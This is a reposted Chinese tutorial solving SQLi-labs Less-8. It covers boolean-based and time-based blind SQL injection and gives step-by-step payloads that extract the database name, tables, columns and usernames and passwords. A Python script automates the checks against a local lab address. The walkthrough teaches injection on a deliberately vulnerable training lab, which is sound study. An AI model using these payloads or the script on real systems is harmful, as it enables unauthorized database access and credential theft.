GET-盲注-基于布尔值-单引号
Less-8 代码分析
关键特征对比
| 特征 | Less-5 | Less-8 |
|---|---|---|
| SQL结构 | id='$id' | id='$id' |
| 成功时 | “You are in” | “You are in” |
| 失败时 | 显示错误 mysql_error() | 什么都不显示 |
| 注入类型 | 报错注入/布尔盲注 | 纯布尔盲注 |
核心区别(关键!)
1// Less-5 2else { 3 echo 'You have an error in your SQL syntax'; 4 print_r(mysql_error()); // ← 显示错误信息,可以报错注入 5} 6 7// Less-8 8else { 9 echo "</br></font>"; // ← 只有空标签,什么都不显示! 10 echo '<font color= "#0000ff" font size= 3>'; 11} 12
Less-8 的特点:
- ✅ 成功:显示 “You are in…”
- ❌ 失败:完全空白(连错误信息都没有)
- ❌ 不能用报错注入(因为不显示错误)
- ✅ 只能用布尔盲注或时间盲注
注入方法
❌ 不可用的方法
1. 联合查询(看不到数据)
1?id=-1' union select 1,database(),3 --+ 2结果:You are in........... 3问题:看不到 database() 的结果 4
2. 报错注入(不显示错误)
1?id=1' and extractvalue(1,concat(0x7e,database())) --+ 2结果:(空白) 3问题:不显示错误信息 4
✅ 可用的方法
方法1:布尔盲注(推荐)
基于页面是否显示 “You are in” 来判断条件真假。
方法2:时间盲注(备选)
基于响应时间来判断条件真假。
完整的布尔盲注流程
Step 1: 确认注入点
1-- 测试1:正常请求 2?id=1 3结果:You are in........... ✅ 4 5-- 测试2:单引号测试 6?id=1' 7结果:(空白) ← SQL错误,但不显示 8 9-- 测试3:闭合测试 10?id=1' --+ 11结果:You are in........... ✅ 12 13-- 测试4:逻辑测试 14?id=1' and '1'='1' --+ 15结果:You are in........... ✅ (True) 16 17?id=1' and '1'='2' --+ 18结果:(空白) ❌ (False) 19



确认:布尔盲注可行!
Step 2: 获取数据库名
2.1 获取数据库名长度
1-- 二分查找法 2?id=1' and length(database())>10 --+ 3结果:(空白) → 长度 ≤ 10 4 5?id=1' and length(database())>5 --+ 6结果:You are in → 长度 > 5 7 8?id=1' and length(database())>7 --+ 9结果:You are in → 长度 > 7 10 11?id=1' and length(database())>8 --+ 12结果:(空白) → 长度 ≤ 8 13 14?id=1' and length(database())=8 --+ 15结果:You are in → 长度 = 8 ✅ 16
2.2 逐字符猜解数据库名
1-- 猜第1个字符 2?id=1' and ascii(substr(database(),1,1))>100 --+ 3结果:You are in → ASCII > 100 4 5?id=1' and ascii(substr(database(),1,1))>110 --+ 6结果:You are in → ASCII > 110 7 8?id=1' and ascii(substr(database(),1,1))>115 --+ 9结果:(空白) → ASCII ≤ 115 10 11?id=1' and ascii(substr(database(),1,1))=115 --+ 12结果:You are in → ASCII = 115 → 's' ✅ 13 14-- 猜第2个字符 15?id=1' and ascii(substr(database(),2,1))=101 --+ 16结果:You are in → 'e' ✅ 17 18-- 猜第3个字符 19?id=1' and ascii(substr(database(),3,1))=99 --+ 20结果:You are in → 'c' ✅ 21 22-- 继续... 23-- 最终得到:security 24
Step 3: 获取表名
1-- 获取表的数量 2?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 3结果:You are in → 表数量 > 3 4 5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ 6结果:You are in → 表数量 = 4 ✅ 7 8-- 获取第1个表名的长度 9?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 10结果:You are in → 第1个表名长度 = 6 11 12-- 逐字符猜解第1个表名 13?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ 14结果:You are in → 'e' 15 16-- 继续猜解... 17-- 得到:emails 18
Step 4: 获取列名
1-- 获取users表的列数 2?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3 --+ 3结果:You are in → 列数 = 3 ✅ 4 5-- 获取列名 6?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+ 7结果:You are in → 'i' 8 9-- 继续... 10-- 得到:id, username, password 11
Step 5: 获取数据
1-- 获取第1个用户名 2?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+ 3结果:You are in → 'D' 4 5?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+ 6结果:You are in → 'u' 7 8-- 继续... 9-- 得到:Dumb 10 11-- 获取第1个密码 12?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+ 13结果:You are in → 'D' 14 15-- 继续... 16-- 得到:Dumb 17
使用自动化脚本
修改配置
1# ==================== 配置区 ==================== 2URL = "http://192.168.224.1:8887/Less-8/?id=" 3SUCCESS_FLAG = "You are in" 4CLOSURE = "'" # Less-8 是单引号闭合 5NUM_THREADS = 10 6TIMEOUT = 5 7
快速测试脚本
1import requests 2 3url = "http://192.168.224.1:8887/Less-8/?id=" 4success_flag = "You are in" 5 6def check(payload): 7 try: 8 resp = requests.get(url + payload, timeout=5) 9 return success_flag in resp.text 10 except: 11 return False 12 13# 测试1:确认闭合方式 14print("[*] 测试闭合方式...") 15if check("1' and '1'='1' --+"): 16 print("✅ True条件成功") 17else: 18 print("❌ True条件失败") 19 20if not check("1' and '1'='2' --+"): 21 print("✅ False条件失败(正常)") 22else: 23 print("❌ False条件成功(异常)") 24 25# 测试2:获取数据库名长度 26print("\n[*] 获取数据库名长度...") 27for length in range(1, 20): 28 if check(f"1' and length(database())={length} --+"): 29 print(f"✅ 数据库名长度: {length}") 30 break 31 32# 测试3:获取数据库名第1个字符 33print("\n[*] 获取数据库名第1个字符...") 34for ascii_val in range(97, 123): # a-z 35 if check(f"1' and ascii(substr(database(),1,1))={ascii_val} --+"): 36 print(f"✅ 第1个字符: {chr(ascii_val)} (ASCII {ascii_val})") 37 break 38 39print("\n[*] 使用完整脚本可以自动获取所有数据") 40

完整注入爆库的方法用之前less5的脚本修改即可。

时间盲注(备选方法)
如果页面完全没有任何差异(连 “You are in” 都没有),使用时间盲注:
1-- 测试 2?id=1' and if(1=1,sleep(5),1) --+ 3结果:5秒后返回(True) 4 5?id=1' and if(1=2,sleep(5),1) --+ 6结果:立刻返回(False) 7 8-- 获取数据库名长度 9?id=1' and if(length(database())=8,sleep(5),1) --+ 10结果:5秒后返回 → 长度 = 8 11 12-- 逐字符猜解 13?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 14结果:5秒后返回 → 第1个字符是 's' 15
完整对比表
| 特性 | Less-5 | Less-8 |
|---|---|---|
| 闭合方式 | ' | ' |
| 成功显示 | “You are in” | “You are in” |
| 失败显示 | 显示错误信息 | 空白 |
| 报错注入 | ✅ 可用 | ❌ 不可用 |
| 布尔盲注 | ✅ 可用 | ✅ 只能用这个 |
| 时间盲注 | ✅ 可用 | ✅ 可用 |
| 联合查询 | ❌ 不显示数据 | ❌ 不显示数据 |
| 难度 | ⭐⭐⭐ | ⭐⭐⭐⭐ |
实战技巧
技巧1:快速验证
1-- 一句话验证布尔盲注 2?id=1' and 1=1 --+ → You are in (✅) 3?id=1' and 1=2 --+ → 空白 (❌) 4
技巧2:优化查询
1-- 使用 limit 避免子查询返回多行错误 2?id=1' and (select username from users limit 0,1)='Dumb' --+ 3 4-- 使用 ascii + substr 逐字符猜解 5?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+ 6
技巧3:减少请求次数
1# 使用二分查找,而不是遍历 2# 猜解 ASCII 值(32-126) 3# 遍历需要:94次请求 4# 二分查找:只需约7次请求 5
使用完整的自动化脚本
直接使用之前的 blind_sqli_advanced.py 脚本:
1# 修改配置 2URL = "http://192.168.224.1:8887/Less-8/?id=" 3SUCCESS_FLAG = "You are in" 4CLOSURE = "'" 5NUM_THREADS = 10 6 7# 运行 8python3 blind_sqli_advanced.py quick 9
总结
Less-8 的特点
✅ 纯布尔盲注
- 成功:显示 “You are in”
- 失败:空白
- 不显示任何错误信息
✅ 推荐方法
- 布尔盲注(首选)
- 时间盲注(备选)
✅ 闭合方式
1CLOSURE = "'" 2
✅ 自动化
- 使用之前的多线程脚本
- 只需修改 URL 和 CLOSURE 配置
Less-8 是学习纯布尔盲注的经典题目,和 Less-5 的区别就是不显示错误信息,只能通过页面有无内容来判断!🎯
《Less-8 GET-Blind-Boolean Based-Single Quotes》 是转载文章,点击查看原文。